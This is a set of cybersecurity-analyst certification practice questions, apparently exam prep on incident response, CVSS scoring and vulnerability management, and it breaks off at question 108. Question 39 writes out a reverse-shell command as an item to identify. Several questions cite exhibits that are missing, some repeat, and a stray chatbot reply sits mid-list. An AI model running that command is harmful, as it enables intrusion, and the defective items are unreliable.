Questions1-155.docx

**Question 1:**\ A recent zero-day vulnerability is being actively exploited, requires no user interaction or privilege escalation, and has a significant impact on confidentiality and integrity but not on availability. Which of the following CVE metrics would be most accurate for this zero-day threa...

**Question 1:**\ A recent zero-day vulnerability is being actively exploited, requires no user interaction or privilege escalation, and has a significant impact on confidentiality and integrity but not on availability. Which of the following CVE metrics would be most accurate for this zero-day threat? A\) CVSS: 31/AV: N/AC: L/PR: N/UI: N/S: U/C: H/I: H/A: L\ B) CVSS: 31/AV: K/AC: L/PR: H/UI: R/S: C/C: H/I: H/A: L\ C) CVSS: 31/AV: N/AC: L/PR: N/UI: H/S: U/C: L/I: N/A: H\ D) CVSS: 31/AV: L/AC: L/PR: R/UI: R/S: U/C: H/I: L/A: H **Question 2:**\ Which of the following tools would work best to prevent the exposure of PII outside of an organization? A\) PAM\ B) IDS\ C) PKI\ D) DLP **Question 3:**\ An organization conducted a web application vulnerability assessment against the corporate website, and the following output was observed:\ Which of the following tuning recommendations should the security analyst share? A\) Set an HttpOnly flag to force communication by HTTPS\ B) Block requests without an X-Frame-Options header\ C) Configure an Access-Control-Allow-Origin header to authorized domains\ D) Disable the cross-origin resource sharing header **Question 4:**\ Which of the following items should be included in a vulnerability scan report? (Choose two.) A\) Lessons learned\ B) Service-level agreement\ C) Playbook\ D) Affected hosts\ E) Risk score\ F) Education plan **Question 5:**\ The Chief Executive Officer of an organization recently heard that exploitation of new attacks in the industry was happening approximately 45 days after a patch was released. Which of the following would best protect this organization? A\) A mean time to remediate of 30 days\ B) A mean time to detect of 45 days\ C) A mean time to respond of 15 days\ D) Third-party application testing **Question 6:**\ A security analyst recently joined the team and is trying to determine which scripting language is being used in a production script to determine if it is malicious. Given the following script, which of the following scripting languages was used? A\) PowerShell\ B) Ruby\ C) Python\ D) Shell script **Question 7:**\ A company\'s user accounts have been compromised. Users are also reporting that the company\'s internal portal is sometimes only accessible through HTTP, other times it is accessible through HTTPS. Which of the following most likely describes the observed activity? A\) There is an issue with the SSL certificate causing port 443 to become unavailable for HTTPS access\ B) An on-path attack is being performed by someone with internal access that forces users into port 80\ C) The web server cannot handle an increasing amount of HTTPS requests so it forwards users to port 80\ D) An error was caused by BGP due to new rules applied over the company\'s internal routers **Question 8:**\ Which of the following items should be included in a vulnerability scan report? (Choose two.) A\) Lessons learned\ B) Service-level agreement\ C) Playbook\ D) Affected hosts\ E) Risk score\ F) Education plan **Question 9:**\ Which of the following will most likely ensure that mission-critical services are available in the event of an incident? A\) Business continuity plan\ B) Vulnerability management plan\ C) Disaster recovery plan\ D) Asset management plan **Question 10:**\ The Chief Information Security Officer wants to eliminate and reduce shadow IT in the enterprise. Several high-risk cloud applications are used that increase the risk to the organization. Which of the following solutions will assist in reducing the risk? A\) Deploy a CASB and enable policy enforcement\ B) Configure MFA with strict access\ C) Deploy an API gateway\ D) Enable SSO to the cloud applications **Question 11:**\ An incident response team receives an alert to start an investigation of an internet outage. The outage is preventing all users in multiple locations from accessing external SaaS resources. The team determines the organization was impacted by a DDoS attack. Which of the following logs should the team review first? A\) CDN\ B) Vulnerability scanner\ C) DNS\ D) Web server **Question 12:**\ A malicious actor has gained access to an internal network by means of social engineering. The actor does not want to lose access in order to continue the attack. Which of the following best describes the current stage of the Cyber Kill Chain that the threat actor is currently operating in? A\) Weaponization\ B) Reconnaissance\ C) Delivery\ D) Exploitation **Question 13:**\ An analyst finds that an IP address outside of the company network is being used to run network and vulnerability scans across external-facing assets. Which of the following steps of an attack framework is the analyst witnessing? A\) Exploitation\ B) Reconnaissance\ C) Command and control\ D) Actions on objectives **Question 14:**\ An incident response analyst notices multiple emails traversing the network that target only the administrators of the company. The email contains a concealed URL that leads to an unknown website in another country. Which of the following best describes what is happening? (Choose two.) A\) Beaconing\ B) Domain Name System hijacking\ C) Social engineering attack\ D) On-path attack\ E) Obfuscated links\ F) Address Resolution Protocol poisoning **Question 15:**\ During security scanning, a security analyst regularly finds the same vulnerabilities in a critical application. Which of the following recommendations would best mitigate this problem if applied along the SDLC phase? A\) Conduct regular red team exercises over the application in production\ B) Ensure that all implemented coding libraries are regularly checked\ C) Use application security scanning as part of the pipeline for the CI/CD flow\ D) Implement proper input validation for any data entry form **Question 16:**\ An analyst is reviewing a vulnerability report and must make recommendations to the executive team. The analyst finds that most systems can be upgraded with a reboot resulting in a single downtime window. However, two of the critical systems cannot be upgraded due to a vendor appliance that the company does not have access to. Which of the following inhibitors to remediation do these systems and associated vulnerabilities best represent? A\) Proprietary systems\ B) Legacy systems\ C) Unsupported operating systems\ D) Lack of maintenance windows **Question 17:**\ The security team reviews a web server for XSS and runs the following Nmap scan: Which of the following most accurately describes the result of the scan? A\) An output of characters "\>" and "\"" as the parameters used in the attempt\ B) The vulnerable parameter ID and unfiltered characters returned\ C) The vulnerable parameter and unfiltered or encoded characters passed "\>" and "\"" as unsafe\ D) The vulnerable parameter and characters "\>" and "\"" with a reflected XSS attempt **Question 18:**\ Which of the following is the best action to take after the conclusion of a security incident to improve incident response in the future? A\) Develop a call tree to inform impacted users\ B) Schedule a review with all teams to discuss what occurred\ C) Create an executive summary to update company leadership\ D) Review regulatory compliance with public relations for official notification **Question 19:**\ A security analyst received a malicious binary file to analyze. Which of the following is the best technique to perform the analysis? A\) Code analysis\ B) Static analysis\ C) Reverse engineering\ D) Fuzzing **Question 20:**\ An incident response team found IoCs in a critical server. The team needs to isolate and collect technical evidence for further investigation. Which of the following pieces of data should be collected first in order to preserve sensitive information before isolating the server? A\) Hard disk\ B) Primary boot partition\ C) Malicious files\ D) Routing table\ E) Static IP address **Question 21:**\ Which of the following security operations tasks are ideal for automation? A\) Suspicious file analysis: Look for suspicious-looking graphics in a folder. Create subfolders in the original folder based on the category of graphics found. Move the suspicious graphics to the appropriate subfolder\ B) Firewall IoC block actions: Examine the firewall logs for IoCs from the most recently published zero-day exploit. Take mitigating actions in the firewall to block the behavior found in the logs. Follow up on any false positives that were caused by the block rules\ C) Security application user errors: Search the error logs for signs of users having trouble with the security application. Look up the user\'s phone number. Call the user to help with any questions about using the application\ D) Email header analysis: Check the email header for a phishing confidence metric greater than or equal to five. Add the domain of the sender to the block list. Move the email to quarantine **Question 22:**\ An organization has experienced a breach of customer transactions. Under the terms of PCI DSS, which of the following groups should the organization report the breach to? A\) PCI Security Standards Council\ B) Local law enforcement\ C) Federal law enforcement\ D) Card issuer **Question 23:**\ Which of the following is the best metric for an organization to focus on given recent investments in SIEM, SOAR, and a ticketing system? A\) Mean time to detect\ B) Number of exploits by tactic\ C) Alert volume\ D) Quantity of intrusion attempts **Question 24:**\ A company is implementing a vulnerability management program and moving from an on-premises environment to a hybrid IaaS cloud environment. Which of the following implications should be considered on the new hybrid environment? A\) The current scanners should be migrated to the cloud\ B) Cloud-specific misconfigurations may not be detected by the current scanners\ C) Existing vulnerability scanners cannot scan IaaS systems\ D) Vulnerability scans on cloud environments should be performed from the cloud **Question 25:**\ A security alert was triggered when an end user tried to access a website that is not allowed per organizational policy. Since the action is considered a terminable offense, the SOC analyst collects the authentication logs, web logs, and temporary files, reflecting the web searches from the user\'s workstation, to build the case for the investigation. Which of the following is the best way to ensure that the investigation complies with HR or privacy policies? A\) Create a timeline of events detailing the date stamps, user account hostname, and IP information associated with the activities\ B) Ensure that the case details do not reflect any user-identifiable information. Password protect the evidence and restrict access to personnel related to the investigation\ C) Create a code name for the investigation in the ticketing system so that all personnel with access will not be able to easily identify the case as an HR-related investigation\ D) Notify the SOC manager for awareness after confirmation that the activity was intentional **Question 26:**\ Which of the following is the first step that should be performed when establishing a disaster recovery plan? A\) Agree on the goals and objectives of the plan\ B) Determine the site to be used during a disaster\ C) Demonstrate adherence to a standard disaster recovery process\ D) Identify applications to be run during a disaster **Question 27:**\ A technician identifies a vulnerability on a server and applies a software patch. Which of the following should be the next step in the remediation process? A\) Testing\ B) Implementation\ C) Validation\ D) Rollback **Question 28:**\ The analyst reviews the following endpoint log entry: Which of the following has occurred? A\) Registry change\ B) Rename computer\ C) New account introduced\ D) Privilege escalation **Question 29:**\ A security program was able to achieve a 30% improvement in MTTR by integrating security controls into a SIEM. The analyst no longer had to jump between tools. Which of the following best describes what the security program did? A\) Data enrichment\ B) Security control plane\ C) Threat feed combination\ D) Single pane of glass **Question 30:**\ Due to reports of unauthorized activity that was occurring on the internal network, an analyst is performing a network discovery. The analyst runs an Nmap scan against a corporate network to evaluate which devices were operating in the environment. Given the following output, which of the following choices should the analyst look at first? A\) wh4dc-748gy.lan (192.168.86.152)\ B) lan (192.168.86.22)\ C) imaging.lan (192.168.86.150)\ D) xlaptop.lan (192.168.86.249)\ E) p4wnp1\_aloa.lan (192.168.86.56) **Question 31:**\ When starting an investigation, which of the following must be done first? A\) Notify law enforcement\ B) Secure the scene\ C) Seize all related evidence\ D) Interview the witnesses **Question 32:**\ Which of the following describes how a CSIRT lead determines who should be communicated with and when during a security incident? A\) The lead should review what is documented in the incident response policy or plan\ B) Management level members of the CSIRT should make that decision\ C) The lead has the authority to decide who to communicate with at any time\ D) Subject matter experts on the team should communicate with others within the specified area of expertise **Question 33:**\ A new cybersecurity analyst is tasked with creating an executive briefing on possible threats to the organization. Which of the following will produce the data needed for the briefing? A\) Firewall logs\ B) Indicators of compromise\ C) Risk assessment\ D) Access control lists **Question 34:**\ An analyst notices there is an internal device sending HTTPS traffic with additional characters in the header to a known-malicious IP in another country. Which of the following describes what the analyst has noticed? A\) Beaconing\ B) Cross-site scripting\ C) Buffer overflow\ D) PHP traversal **Question 35:**\ A security analyst is reviewing a packet capture in Wireshark that contains an FTP session from a potentially compromised machine. The analyst sets the following display filter: ftp. The analyst can see there are several RETR requests with 226 Transfer complete responses, but the packet list pane is not showing the packets containing the file transfer itself. Which of the following can the analyst perform to see the entire contents of the downloaded files? A\) Change the display filter to tcp.port==20\ B) Change the display filter to ftp-data and follow the TCP streams\ C) Change the display filter to tcp.port==21\ D) Navigate to the File menu and select FTP from the Export objects option **Question 36:**\ A SOC manager receives a phone call from an upset customer. The customer received a vulnerability report two hours ago, but the report did not have a follow-up remediation response from an analyst. Which of the following documents should the SOC manager review to ensure the team is meeting the appropriate contractual obligations for the customer? A\) SLA\ B) MOU\ C) NDA\ D) Limitation of liability **Question 37:**\ Which of the following phases of the Cyber Kill Chain involves the adversary attempting to establish communication with a successfully exploited target? A\) Command and control\ B) Actions on objectives\ C) Exploitation\ D) Delivery **Question 38:**\ A company that has a geographically diverse workforce and dynamic IPs wants to implement a vulnerability scanning method with reduced network traffic. Which of the following would best meet this requirement? A\) External\ B) Agent-based\ C) Non-credentialed\ D) Credentialed **Question 39:**\ A security analyst detects an exploit attempt containing the following command:\ sh -i \>& /dev/udp/10.1.1.1/4821 0\>&1\ Which of the following is being attempted? A\) RCE\ B) Reverse shell\ C) XSS\ D) SQL injection **Question 40:**\ An older CVE with a vulnerability score of 7.1 was elevated to a score of 9.8 due to a widely available exploit being used to deliver ransomware. Which of the following factors would an analyst most likely communicate as the reason for this escalation? A\) Scope\ B) Weaponization\ C) CVSS\ D) Asset value **Question 41:**\ An analyst is reviewing a vulnerability report for a server environment with the following entries:\ Which of the following systems should be prioritized for patching first? A\) 10.101.27.98\ B) 54.73.225.17\ C) 54.74.110.26\ D) 54.74.110.228 **Question 42:**\ A company is in the process of implementing a vulnerability management program, and there are concerns about granting the security team access to sensitive data. Which of the following scanning methods can be implemented to reduce the access to systems while providing the most accurate vulnerability scan results? A\) Credentialed network scanning\ B) Passive scanning\ C) Agent-based scanning\ D) Dynamic scanning **Question 43:**\ A security analyst is trying to identify anomalies on the network routing. Which of the following functions can the analyst use on a shell script to achieve the objective most accurately? A\) function x() { info=\$(geoiplookup \$1) && echo \"\$1 \| \$info\" }\ B) function x() { info=\$(ping -c 1 \$1 \| awk -F \"/\" 'END{print \$5}') && echo \"\$1 \| \$info\" }\ C) function x() { info=\$(dig \$(dig -x \$1 \| grep PTR \| tail -n 1 \| awk -F \".in-addr\" '{print \$1}\').origin.asn.cymru.com TXT +short) && echo \"\$1 \| \$info\" }\ D) function x() { info=\$(traceroute -m 40 \$1 \| awk 'END{print \$1}') && echo \"\$1 \| \$info\" } **Question 44:**\ There are several reports of sensitive information being disclosed via file sharing services. The company would like to improve its security posture against this threat. Which of the following security controls would best support the company in this scenario? A\) Implement step-up authentication for administrators\ B) Improve employee training and awareness\ C) Increase password complexity standards\ D) Deploy mobile device management **Question 45:**\ Which of the following is the best way to begin preparation for a report titled \"What We Learned\" regarding a recent incident involving a cybersecurity breach? A\) Determine the sophistication of the audience that the report is meant for\ B) Include references and sources of information on the first page\ C) Include a table of contents outlining the entire report\ D) Decide on the color scheme that will effectively communicate the metrics **Question 46:**\ A security analyst is performing an investigation involving multiple targeted Windows malware binaries. The analyst wants to gather intelligence without disclosing information to the attackers. Which of the following actions would allow the analyst to achieve the objective? A\) Upload the binary to an air-gapped sandbox for analysis\ B) Send the binaries to the antivirus vendor\ C) Execute the binaries on an environment with internet connectivity\ D) Query the file hashes using VirusTotal **Question 47:**\ Which of the following would help to minimize human engagement and aid in process improvement in security operations? A\) OSSTMM\ B) SIEM\ C) SOAR\ D) QVVASP **Question 48:**\ After conducting a cybersecurity risk assessment for a new software request, a Chief Information Security Officer (CISO) decided the risk score would be too high. The CISO refused the software request. Which of the following risk management principles did the CISO select? A\) Avoid\ B) Transfer\ C) Accept\ D) Mitigate **Question 49:**\ Which of the following is an important aspect that should be included in the lessons-learned step after an incident? A\) Identify any improvements or changes in the incident response plan or procedures\ B) Determine if an internal mistake was made and who did it so they do not repeat the error\ C) Present all legal evidence collected and turn it over to law enforcement\ D) Discuss the financial impact of the incident to determine if security controls are well spent **Question 50:**\ The security operations team is required to consolidate several threat intelligence feeds due to redundant tools and portals. Which of the following will best achieve the goal and maximize results? A\) Single pane of glass\ B) Single sign-on\ C) Data enrichment\ D) Deduplication **Question 51:**\ Which of the following would a security analyst most likely use to compare TTPs between different known adversaries of an organization? A\) MITRE ATT&CK\ B) Cyber Kill Chain\ C) OWASP\ D) STIX/TAXII **Question 52:**\ An analyst is remediating items associated with a recent incident. The analyst has isolated the vulnerability and is actively removing it from the system. Which of the following steps of the process does this describe? A\) Eradication\ B) Recovery\ C) Containment\ D) Preparation **Question 53:**\ Joe, a leading sales person at an organization, has announced on social media that he is leaving his current role to start a new company that will compete with his current employer. Joe is soliciting his current employer\'s customers. However, Joe has not resigned or discussed this with his current supervisor yet. Which of the following would be the best action for the incident response team to recommend? A\) Isolate Joe\'s PC from the network\ B) Reimage the PC based on standard operating procedures\ C) Initiate a remote wipe of Joe\'s PC using mobile device management\ D) Perform no action until HR or legal counsel advises on next steps **Question 54:**\ The Chief Information Security Officer is directing a new program to reduce attack surface risks and threats as part of a zero-trust approach. The IT security team is required to come up with priorities for the program. Which of the following is the best priority based on common attack frameworks? A\) Reduce the administrator and privileged access accounts\ B) Employ a network-based IDS\ C) Conduct thorough incident response\ D) Enable SSO to enterprise applications **Question 55:**\ During an extended holiday break, a company suffered a security incident. This information was properly relayed to appropriate personnel in a timely manner, and the server was up to date and configured with appropriate auditing and logging. The Chief Information Security Officer wants to find out precisely what happened. Which of the following actions should the analyst take first? A\) Clone the virtual server for forensic analysis\ B) Log in to the affected server and begin analysis of the logs\ C) Restore from the last known-good backup to confirm there was no loss of connectivity\ D) Shut down the affected server immediately **Question 56:**\ A systems administrator is reviewing after-hours traffic flows from data-center servers and sees regular outgoing HTTPS connections from one of the servers to a public IP address. The server should not be making outgoing connections after hours. Looking closer, the administrator sees this traffic pattern around the clock during work hours as well. Which of the following is the most likely explanation? A\) C2 beaconing activity\ B) Data exfiltration\ C) Anomalous activity on unexpected ports\ D) Network host IP address scanning\ E) A rogue network device **Question 57:**\ New employees in an organization have been consistently plugging in personal webcams despite the company policy prohibiting use of personal devices. The SOC manager discovers that new employees are not aware of the company policy. Which of the following will the SOC manager most likely recommend to help ensure new employees are accountable for following the company policy? A\) Human resources must email a copy of a user agreement to all new employees\ B) Supervisors must get verbal confirmation from new employees indicating they have read the user agreement\ C) All new employees must take a test about the company security policy during the onboarding process\ D) All new employees must sign a user agreement to acknowledge the company security policy **Question 58:**\ An analyst has been asked to validate the potential risk of a new ransomware campaign that the Chief Financial Officer read about in the newspaper. The company is a manufacturer of a very small spring used in the newest fighter jet and is a critical piece of the supply chain for this aircraft. Which of the following would be the best threat intelligence source to learn about this new campaign? A\) Information sharing organization\ B) Blogs/forums\ C) Cybersecurity incident response team\ D) Deep/dark web **Question 59:**\ An incident response team finished responding to a significant security incident. The management team has asked the lead analyst to provide an after-action report that includes lessons learned. Which of the following is the most likely reason to include lessons learned? A\) To satisfy regulatory requirements for incident reporting\ B) To hold other departments accountable\ C) To identify areas of improvement in the incident response process\ D) To highlight the notable practices of the organization\'s incident response team **Question 60:**\ A vulnerability management team is unable to patch all vulnerabilities found during their weekly scans. Using the third-party scoring system described below, the team patches the most urgent vulnerabilities:\ Additionally, the vulnerability management team feels that the metrics Smear and Channing are less important than the others, so these will be lower in priority. Which of the following vulnerabilities should be patched first, given the above third-party scoring system? A\) InLoud: Cobain: Yes, Grohl: No, Novo: Yes, Smear: Yes, Channing: No\ B) TSpirit: Cobain: Yes, Grohl: Yes, Novo: Yes, Smear: No, Channing: No\ C) ENameless: Cobain: Yes, Grohl: No, Novo: Yes, Smear: No, Channing: No\ D) PBleach: Cobain: Yes, Grohl: No, Novo: No, Smear: No, Channing: Yes **Question 61:**\ A user downloads software that contains malware onto a computer that eventually infects numerous other systems. Which of the following has the user become? A\) Hacktivist\ B) Advanced persistent threat\ C) Insider threat\ D) Script kiddie **Question 62:**\ An organization has activated the CSIRT. A security analyst believes a single virtual server was compromised and immediately isolated from the network. Which of the following should the CSIRT conduct next? A\) Take a snapshot of the compromised server and verify its integrity\ B) Restore the affected server to remove any malware\ C) Contact the appropriate government agency to investigate\ D) Research the malware strain to perform attribution **Question 63:**\ During an incident, an analyst needs to acquire evidence for later investigation. Which of the following must be collected first in a computer system, related to its volatility level? A\) Disk contents\ B) Backup data\ C) Temporary files\ D) Running processes **Question 64:**\ A security analyst is trying to identify possible network addresses from different source networks belonging to the same company and region. Which of the following shell script functions could help achieve the goal? A\) function w() { a=\$(ping -c 1 \$1 \| awk-F "/" 'END{print \$1}') && echo "\$1 \| \$a" }\ B) function x() { b=\$(traceroute -m 40 \$1 \| awk 'END{print \$1}') && echo "\$1 \| \$b" }\ C) function y() { dig \$(dig -x \$1 \| grep PTR \| tail -n 1 \| awk -F ".in-addr" '{print \$1}').origin.asn.cymru.com TXT +short }\ D) function z() { c=\$(geoiplookup\$1) && echo "\$1 \| \$c" } **Question 65:**\ A security analyst is writing a shell script to identify IP addresses from the same country. Which of the following functions would help the analyst achieve the objective? A\) function w() { info=\$(ping -c 1 \$1 \| awk -F "/" 'END{print \$1}') && echo "\$1 \| \$info" }\ B) function x() { info=\$(geoiplookup \$1) && echo "\$1 \| \$info" }\ C) function y() { info=\$(dig -x \$1 \| grep PTR \| tail -n 1 ) && echo "\$1 \| \$info" }\ D) function z() { info=\$(traceroute -m 40 \$1 \| awk 'END{print \$1}') && echo "\$1 \| \$info" } **Question 66:**\ A security analyst obtained the following table of results from a recent vulnerability assessment that was conducted against a single web server in the environment:\ Which of the following should be completed first to remediate the findings? A\) Ask the web development team to update the page contents\ B) Add the IP address allow listing for control panel access\ C) Purchase an appropriate certificate from a trusted root CA\ D) Perform proper sanitization on all fields **Question 67:**\ A SOC analyst identifies the following content while examining the output of a debugger command over a client-server application:\ getconnection (database01, \"alpha \", \"AXTV. 127GdCx94GTd\") ;\ Which of the following is the most likely vulnerability in this system? A\) Lack of input validation\ B) SQL injection\ C) Hard-coded credential\ D) Buffer overflow attacks This should now cover all the questions from the document. If you need the correct answers and explanations or have any further requests, feel free to ask! **Question 68:**\ A security analyst is reviewing a vulnerability report for a server environment with the following entries:\ Which of the following systems should be prioritized for patching first? A\) 10.101.27.98\ B) 54.73.225.17\ C) 54.74.110.26\ D) 54.74.110.228 **Question 69:**\ An organization is implementing a zero-trust security model. The Chief Information Security Officer wants to ensure that all employees are trained on the new security policies and that compliance is monitored continuously. Which of the following is the best approach to ensure employee compliance? A\) Conduct monthly security awareness training sessions\ B) Implement automated monitoring and alerting tools\ C) Require employees to sign an acknowledgment form\ D) Perform regular audits and assessments **Question 70:**\ A security analyst is investigating a potential data breach and needs to collect forensic evidence. Which of the following should the analyst do first to ensure the integrity of the evidence? A\) Document the chain of custody\ B) Isolate the affected system\ C) Create a bit-by-bit image of the hard drive\ D) Analyze the system logs **Question 71:**\ A company is moving to a hybrid cloud environment and needs to ensure that data is protected both in transit and at rest. Which of the following should be implemented to secure the data? A\) Use TLS for data in transit and AES for data at rest\ B) Implement SSL for data in transit and DES for data at rest\ C) Use VPN for data in transit and RSA for data at rest\ D) Implement WPA2 for data in transit and MD5 for data at rest **Question 72:**\ A security team is developing an incident response plan for ransomware attacks. Which of the following actions should be prioritized to minimize the impact of a ransomware attack? A\) Regularly update and patch all systems\ B) Implement a comprehensive backup strategy\ C) Conduct phishing awareness training\ D) Install antivirus software on all endpoints **Question 73:**\ During a penetration test, an attacker successfully exploits a vulnerability in a web application. Which of the following should the security team do first to prevent further exploitation? A\) Disable the affected application\ B) Apply a patch to fix the vulnerability\ C) Notify the application owner\ D) Conduct a full security assessment **Question 74:**\ A security analyst discovers that sensitive data has been exfiltrated to an unknown IP address. Which of the following steps should the analyst take first? A\) Block the IP address on the firewall\ B) Notify the data owners\ C) Disconnect the affected systems from the network\ D) Begin forensic analysis on the affected systems **Question 75:**\ A company is implementing multi-factor authentication (MFA) for all remote access to its systems. Which of the following factors should be used to provide the highest level of security? A\) Something you know (password) and something you have (security token)\ B) Something you know (password) and something you are (biometrics)\ C) Something you have (security token) and something you are (biometrics)\ D) Something you know (password) and something you do (keystroke dynamics) **Question 76:**\ An organization is concerned about insider threats and wants to implement controls to detect and prevent data exfiltration. Which of the following tools would best address this concern? A\) Intrusion Detection System (IDS)\ B) Data Loss Prevention (DLP)\ C) Security Information and Event Management (SIEM)\ D) Endpoint Detection and Response (EDR) **Question 77:**\ A company has recently adopted a BYOD (Bring Your Own Device) policy and wants to ensure that all employee devices are secure before allowing them to connect to the corporate network. Which of the following should be implemented? A\) Mobile Device Management (MDM)\ B) Network Access Control (NAC)\ C) Virtual Private Network (VPN)\ D) Security Information and Event Management (SIEM) **Question 78:**\ A security analyst is tasked with monitoring network traffic for signs of a potential attack. Which of the following techniques should the analyst use to identify suspicious activity? A\) Signature-based detection\ B) Anomaly-based detection\ C) Heuristic-based detection\ D) Behavior-based detection **Question 79:**\ A security team is investigating a potential phishing attack. Several employees have reported receiving suspicious emails with links to unknown websites. Which of the following actions should the security team take first? A\) Block the domain associated with the phishing emails\ B) Alert all employees about the phishing attempt\ C) Analyze the email headers to identify the source\ D) Update the email filtering rules to block similar emails **Question 80:**\ An organization has experienced a denial-of-service (DoS) attack that disrupted its online services. Which of the following steps should the security team take to prevent future attacks? A\) Implement rate limiting on the affected servers\ B) Install a Web Application Firewall (WAF)\ C) Increase bandwidth to handle larger traffic volumes\ D) Configure load balancers to distribute traffic **Question 81:**\ A security analyst is reviewing a recent security incident and notices that the attacker was able to gain access to the network by exploiting a weak password on a critical system. Which of the following should be implemented to prevent similar incidents in the future? A\) Enforce strong password policies\ B) Implement multi-factor authentication\ C) Conduct regular security audits\ D) Deploy a password manager **Question 82:**\ A company is planning to migrate its critical applications to the cloud. The Chief Information Security Officer (CISO) is concerned about the security of the data during and after the migration. Which of the following should be the top priority for the security team? A\) Encrypt data in transit and at rest\ B) Implement access controls for cloud resources\ C) Perform a risk assessment of the cloud provider\ D) Establish a disaster recovery plan **Question 83:**\ During a security review, a company discovers that several of its applications are using outdated libraries with known vulnerabilities. Which of the following actions should be taken to address this issue? A\) Update the libraries to the latest versions\ B) Implement a Web Application Firewall (WAF)\ C) Conduct a full code review of the applications\ D) Isolate the affected applications from the network **Question 84:**\ A security analyst is investigating a breach and finds that the attacker used a tool to exploit a vulnerability in an unpatched system. Which of the following phases of the Cyber Kill Chain does this activity correspond to? A\) Reconnaissance\ B) Weaponization\ C) Exploitation\ D) Delivery **Question 85:**\ An organization wants to improve its ability to detect and respond to advanced threats. Which of the following security solutions would provide the most benefit? A\) Security Information and Event Management (SIEM)\ B) Endpoint Detection and Response (EDR)\ C) Intrusion Prevention System (IPS)\ D) Threat Intelligence Platform (TIP) **Question 86:**\ A company is implementing a disaster recovery plan and needs to ensure that critical systems can be quickly restored in the event of a major incident. Which of the following metrics is most important to meet this objective? A\) Recovery Point Objective (RPO)\ B) Recovery Time Objective (RTO)\ C) Mean Time Between Failures (MTBF)\ D) Mean Time to Repair (MTTR) **Question 87:**\ A security analyst is conducting a risk assessment and needs to determine the potential impact of a security breach on the organization\'s financial stability. Which of the following should the analyst assess? A\) Asset value\ B) Threat likelihood\ C) Vulnerability severity\ D) Recovery cost **Question 88:**\ An organization is implementing a new email security solution to protect against phishing attacks. Which of the following features should be prioritized? A\) Anti-spam filtering\ B) Domain-based Message Authentication, Reporting & Conformance (DMARC)\ C) Email encryption\ D) Data Loss Prevention (DLP) **Question 89:**\ A security analyst has been asked to evaluate the effectiveness of the organization\'s current security controls. Which of the following activities would provide the most accurate assessment? A\) Conducting a vulnerability scan\ B) Performing a penetration test\ C) Reviewing security policies\ D) Monitoring network traffic **Question 90:**\ A company has detected unusual activity on its network and suspects that a compromised device is communicating with a command and control (C2) server. Which of the following should be the security team\'s first response? A\) Disconnect the device from the network\ B) Monitor the device\'s network traffic\ C) Perform a forensic analysis on the device\ D) Notify the affected users **Question 91:**\ An organization is implementing a new security information and event management (SIEM) system. Which of the following should be the primary goal of this implementation? A\) Centralizing security event data\ B) Automating incident response\ C) Reducing false positives\ D) Improving threat detection **Question 92:**\ A security analyst is tasked with ensuring that all software used by the organization is free from known vulnerabilities. Which of the following actions would be most effective in achieving this goal? A\) Regularly update software patches\ B) Conduct static code analysis\ C) Implement a software bill of materials (SBOM)\ D) Use a vulnerability management tool **Question 93:**\ During a security audit, it was discovered that several employees have administrative access to critical systems without proper justification. Which of the following actions should be taken to address this issue? A\) Revoke unnecessary administrative privileges\ B) Implement a privileged access management (PAM) solution\ C) Conduct a role-based access control (RBAC) review\ D) Implement multi-factor authentication for all users **Question 94:**\ A security analyst is reviewing a security incident where an attacker gained access to the network by exploiting a vulnerable web application. Which of the following security controls would have been most effective in preventing this attack? A\) Web Application Firewall (WAF)\ B) Intrusion Detection System (IDS)\ C) Security Information and Event Management (SIEM)\ D) Vulnerability Management Tool **Question 95:**\ An organization wants to improve its security posture by detecting threats before they cause harm. Which of the following strategies would be most effective? A\) Implementing a threat hunting program\ B) Deploying honeypots in the network\ C) Conducting regular vulnerability scans\ D) Installing endpoint protection software **Question 96:**\ A security analyst has identified a new variant of malware on the organization\'s network. Which of the following actions should the analyst take first? A\) Isolate the infected systems\ B) Update the antivirus signatures\ C) Notify the incident response team\ D) Begin forensic analysis of the malware **Question 97:**\ A company is developing a new web application and wants to ensure that it is secure from common web-based attacks. Which of the following practices should be prioritized during the development process? A\) Conducting input validation\ B) Implementing secure coding standards\ C) Performing regular code reviews\ D) Using encryption for data storage **Question 98:**\ An organization is planning to implement a network segmentation strategy to limit the spread of malware. Which of the following should be considered when designing the segmentation? A\) The sensitivity of the data in each segment\ B) The number of devices in each segment\ C) The types of users in each segment\ D) The performance impact on network traffic **Question 99:**\ A security analyst is reviewing logs from a recent security incident and notices that the attacker used a known vulnerability to gain access to the network. Which of the following should be the analyst\'s primary focus? A\) Identifying other vulnerable systems\ B) Patch management practices\ C) Incident response procedures\ D) Security awareness training **Question 100:**\ A company has detected an ongoing brute-force attack against its user accounts. Which of the following measures should be implemented immediately to mitigate the attack? A\) Lockout policy\ B) Captcha verification\ C) Two-factor authentication\ D) IP blacklisting **Question 101:**\ A security analyst is tasked with identifying and responding to potential insider threats. Which of the following tools would be most effective in detecting suspicious activities from employees? A\) Data Loss Prevention (DLP)\ B) Security Information and Event Management (SIEM)\ C) User and Entity Behavior Analytics (UEBA)\ D) Intrusion Detection System (IDS) **Question 102:**\ An organization has detected that several of its servers are communicating with an IP address known to be associated with malware. Which of the following should the security team do first? A\) Block the IP address on the firewall\ B) Disconnect the affected servers from the network\ C) Conduct a full scan of the servers for malware\ D) Notify law enforcement **Question 103:**\ A security analyst is reviewing a recent phishing attack where several employees clicked on a malicious link and entered their credentials. Which of the following steps should be taken to prevent future phishing attacks? A\) Implement an email filtering solution\ B) Conduct regular phishing awareness training\ C) Enable multi-factor authentication for all users\ D) Monitor email traffic for suspicious activity **Question 104:**\ A company is concerned about the security of its supply chain and wants to ensure that all third-party vendors comply with its security policies. Which of the following actions should be taken to mitigate supply chain risks? A\) Conduct a thorough vetting process for all vendors\ B) Require vendors to provide security certifications\ C) Implement a third-party risk management program\ D) Perform regular audits of vendor security practices **Question 105:**\ An organization is planning to implement a security awareness program for its employees. Which of the following topics should be included in the training to address the most common security threats? A\) Phishing attacks\ B) Password security\ C) Social engineering\ D) Data encryption **Question 106:**\ A security analyst is investigating an incident where an attacker gained unauthorized access to a database. Which of the following should the analyst do first to contain the incident? A\) Change all database administrator passwords\ B) Disable the compromised database accounts\ C) Revoke access to the database for all users\ D) Isolate the database from the network **Question 107:**\ An organization is considering the use of cloud services for its business operations. The Chief Information Security Officer (CISO) is concerned about data security and regulatory compliance. Which of the following should be the top priority when selecting a cloud service provider? A\) Data encryption capabilities\ B) Compliance with industry standards\ C) Availability of disaster recovery services\ D) Cost of services **Question 108:**\ A security analyst is reviewing firewall logs and notices a large amount of traffic from a single IP address attempting to access various services on the network. Which of the following actions should the analyst take first? A\) Block the IP address on the firewall\ B) Investigate the source 